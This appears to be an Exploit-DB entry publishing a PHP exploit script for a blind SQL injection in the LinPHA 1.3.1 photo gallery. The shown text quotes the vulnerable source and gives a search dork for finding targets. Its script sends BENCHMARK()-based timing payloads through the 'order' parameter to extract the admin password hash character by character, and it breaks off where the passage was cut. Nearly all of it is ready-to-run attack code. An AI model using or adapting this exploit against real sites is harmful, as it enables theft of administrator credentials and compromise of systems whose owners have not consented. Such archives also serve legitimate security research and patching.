Exploit-DB #4242
Description: LinPHA 1.3.1 - 'new_images.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-07-29
Author: EgiX

Exploit:
<?php

/*
	LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection
	Hash Fishing Exploit / BENCHMARK() method
	
	author...: EgiX
	mail.....: n0b0d1es[at]hotmail[dot]com
	
	link.....: http://linpha.sourceforge.net/
	dork.....: "LinPHA Version 1.3.x" or "The LinPHA developers"
	
	vulnerable code in /include/img_view.class.php:
	
	183.	function setDefaultOrder($default_order)
	184.	{
	185.		if(isset($_REQUEST['order']))
	186.		{
	187.			$this->order = $_REQUEST['order'];
	188. 
	189.			if($default_order != $_REQUEST['order'])
	190.			{
	191.				$this->link_address .= '&order='.$_REQUEST['order'];
	192.			}
	193.		}
	194.		else
	195.		{
	196.			$this->order = $default_order;
	197.		}
	198.	}
	199.
	200.	//
	201.	// set sql query string
	202.	//
	203.	function setSql($sql_begin,$sql_where)
	204.	{
	205.		$this->sql_where = $sql_where." ".sql_perm()." AND ".
	206.		PREFIX."photos.prev_path LIKE ".$GLOBALS['db']->Concat(PREFIX."first_lev_album.path","'%'").
	207.		" ORDER by ".P.".".get_thumb_order($this->order); <-- BUG
	208.	
	209.		if(empty($sql_begin))
	210.		{
	211.			$sql_begin = "SELECT ".P.".id AS id, ".P.".name As name, ".P.".filename AS filename, " .
	212.			"".P.".prev_path AS prev_path, ".P.".date AS date, " .
	213.			"".P.".level AS level, ".P.".md5sum AS md5sum";
	214.
	215.		}
	216.		$this->sql = $sql_begin.$this->sql_where;
	217.		$query = $GLOBALS['db']->Execute($this->sql);
	218.		$this->num_photos = $query->RecordCount();
	219.	}
	
	$_REQUEST['order'] ('$this->order') parameter isn't properly sanitised, so we should be able (with MySQL version 4.1 or higher)
	to inject sql code in a subquery after 'ORDER by' statement...we can retrive admin credentials with BENCHMARK() function!

	Too see table prefix: http://[host]/[linpha]/new_images.php?order=foo
*/

error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);

function http_send($host, $packet)
{
	$i = 0;
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		if ($i++ == 10) die();
		print "\n[-] No response from ".$host.":80 Trying again...\n";
		$sock = fsockopen($host,$port);
		sleep(1);
	}
	fputs($sock, $packet);
	$resp = "";
	while (!feof($sock)) $resp .= fread($sock, 1);
	fclose($sock);
	return $resp;
}

function getmicrotime()
{ 
	list($usec, $sec) = explode(" ", microtime()); 
	return ((float)$usec + (float)$sec); 
}

function getdelay($query)
{
	global $host, $path;
	
	$pck = "GET ".$path."new_images.php?order=$query HTTP/1.1\r\n";
	$pck.= "Host: ".$host."\r\n";
	$pck.= "Keep-Alive: 300\r\n";
	$pck.= "Connection: keep-alive\r\n\r\n";
	$start = getmicrotime()*1000;
	http_send($host, $pck);
	$end = getmicrotime()*1000;

	return ($end - $start);
}

function normaldelay()
{
	global $count, $prefix, $uid;
	
	$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=0,BENCHMARK(".$count.",MD5(1)),0)))";
	$d1 = getdelay($sql);
	$d2 = getdelay($sql);
	$d3 = getdelay($sql);
	$m = ($d1 + $d2 + $d3) / 3;
	return (intval($m));
}

function benchmarkdelay()
{
	global $count, $prefix, $uid;
   
	$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=1,BENCHMARK(".$count.",MD5(1)),0)))";
	$d1 = getdelay($sql);
	$d2 = getdelay($sql);
	$d3 = getdelay($sql);
	$m = ($d1 + $d2 + $d3) / 3;
	return (intval($m));
}

function check_query($query)
{
	global $ndelay;
	
	$ret = false;
	$d = intval(getdelay($query));
	if ($d > ($ndelay * 2)) $ret = true;
	return $ret;
}

function check_target()
{
	// see if MySQL version is >= 4.1 (subqueries support) or other error
	global $host, $path;
	
	print "\n[-] Checking $host...";
	$pck = "GET ".$path."new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n";
	$pck.= "Host: ".$host."\r\n";
	$pck.= "Keep-Alive: 300\r\n";
	$pck.= "Connection: keep-alive\r\n\r\n";
	$buff = http_send($host, $pck);
	if (!strpos($buff, "The LinPHA developers"))
		die("\n\n[-] Error... Probably wrong MySQL version!\n");
	else
		print " OK!\n";
}

print "\n+-----------------------------------------------------------------------------+";
print "\n| LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-----------------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage:		php $argv[0] host path [delay] [prefix] [userid]\n";
	print "\nhost:		target server (ip/hostname)";
	print "\npath:		path to linpha directory";
	print "\ndelay:		delay for BENCHMARK() (dafault: 1000000)";
	print "\nprefix:		table's prefix (default: linpha)";
	print "\nuserid:		user id (default: 1 - admin)\n";
	print "\nExample:	php $argv[0] localhost /linpha/";
	print "\nExample:	php $argv[0] localhost / 2000000 other_prefix 2\n";
	die();
}

$host	= $argv[1];
$path	= $argv[2];
$count	= (isset($argv[3]) ? $argv[3] : 1000000);
$prefix	= (isset($argv[4]) ? $argv[4] : "linpha");
$uid	= (isset($argv[5]) ? $argv[5] : "1");

check_target();

print "\n[-] Testing delay time...";
$ndelay = normaldelay();
print "\n[-] Normal delay: $ndelay ms";
$bdelay = benchmarkdelay();
print "\n[-] Benchmark delay: $bdelay ms\n";

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";

while (!strpos($md5, chr(0)))
{
	for ($i = 0; $i <= count($hash); $i++)
	{
  		if ($i == count($hash)) die("\n[-] Exploit failed...\n");

		$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .
		"RAND(IF((ORD(SUBSTRING(password,".$index.",1))=".$hash[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";

        	if (check_query($sql))
		{
			$md5 .= chr($hash[$i]);
			print chr($hash[$i]);
			break;
		}
	}

	$index++;
}

$char = array(0); // null char
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($